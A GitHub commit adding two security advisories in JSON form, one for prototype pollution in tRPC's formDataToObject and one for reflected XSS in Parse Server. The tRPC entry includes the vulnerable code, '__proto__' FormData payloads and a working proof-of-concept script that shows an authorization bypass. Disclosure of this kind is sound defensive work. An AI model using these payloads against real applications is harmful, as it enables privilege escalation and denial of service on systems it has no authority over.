Skip to content

Commit 5eeddd1

Browse files
1 parent 1d35921 commit 5eeddd1

File tree

2 files changed

+172
-0
lines changed

2 files changed

+172
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-43p4-m455-4f4j",
4+
"modified": "2025-12-16T19:37:57Z",
5+
"published": "2025-12-16T19:37:57Z",
6+
"aliases": [
7+
"CVE-2025-68130"
8+
],
9+
"summary": "tRPC has possible prototype pollution in `experimental_nextAppDirCaller`",
10+
"details": "> Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** >=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n if (path.length > 1) {\n const newPath = [...path];\n const key = newPath.shift(); // ← No validation of dangerous keys\n const nextKey = newPath[0];\n\n if (!obj[key]) { // ← Accesses obj[\"__proto__\"] which returns Object.prototype\n obj[key] = isNumberString(nextKey) ? [] : {};\n }\n \n set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype\n return;\n }\n // ...\n}\n\nexport function formDataToObject(formData) {\n const obj = {};\n for (const [key, value] of formData.entries()) {\n const parts = key.split(/[\\.\\[\\]]/).filter(Boolean); // Splits \"__proto__[isAdmin]\" → [\"__proto__\", \"isAdmin\"]\n set(obj, parts, value);\n }\n return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData && input instanceof FormData) {\n input = formDataToObject(input); // ← Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin // → \"true\"\n{}.role // → \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/[email protected]\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\" {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log(' __proto__[isAdmin] = \"true\"');\nconsole.log(' __proto__[role] = \"superadmin\"');\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\" Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Después del ataque:\");\nconsole.log(\" {}.isAdmin =\", {}.isAdmin);\nconsole.log(\" {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorización:\");\nconsole.log(\" Usuario normal:\", JSON.stringify(user));\nconsole.log(\" user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n console.log(\"\\n VULNERABLE - Authorization bypass exitoso!\");\n} else {\n console.log(\"\\n ✓ Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@trpc/server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "10.27.0"
29+
},
30+
{
31+
"fixed": "10.45.3"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "@trpc/server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "11.0.0"
48+
},
49+
{
50+
"fixed": "11.8.0"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68130"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e"
69+
},
70+
{
71+
"type": "PACKAGE",
72+
"url": "https://github.com/trpc/trpc"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-1321"
78+
],
79+
"severity": "HIGH",
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2025-12-16T19:37:57Z",
82+
"nvd_published_at": "2025-12-16T17:16:11Z"
83+
}
84+
}
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jhgf-2h8h-ggxv",
4+
"modified": "2025-12-16T19:36:37Z",
5+
"published": "2025-12-16T19:36:37Z",
6+
"aliases": [
7+
"CVE-2025-68115"
8+
],
9+
"summary": "Parse Server has a Cross-Site Scripting (XSS) vulnerability via Unescaped Mustache Template Variables",
10+
"details": "## Impact\n\nA Reflected Cross-Site Scripting (XSS) vulnerability exists in Parse Server's password reset and email verification HTML pages.\n\n## Patches\n\nThe patch escapes user controlled values that are inserted into the HTML pages.\n\n## Workarounds\n\nNone.\n\n## Resources\n\n- https://github.com/parse-community/parse-server/security/advisories/GHSA-jhgf-2h8h-ggxv\n- https://github.com/parse-community/parse-server/pull/9985\n- https://github.com/parse-community/parse-server/pull/9986",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "parse-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "8.6.1"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "parse-server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "9.0.0"
48+
},
49+
{
50+
"fixed": "9.1.0-alpha.3"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-jhgf-2h8h-ggxv"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68115"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/parse-community/parse-server/pull/9985"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "https://github.com/parse-community/parse-server/pull/9986"
73+
},
74+
{
75+
"type": "PACKAGE",
76+
"url": "https://github.com/parse-community/parse-server"
77+
}
78+
],
79+
"database_specific": {
80+
"cwe_ids": [
81+
"CWE-79"
82+
],
83+
"severity": "MODERATE",
84+
"github_reviewed": true,
85+
"github_reviewed_at": "2025-12-16T19:36:37Z",
86+
"nvd_published_at": "2025-12-16T01:15:53Z"
87+
}
88+
}

0 commit comments

Comments
 (0)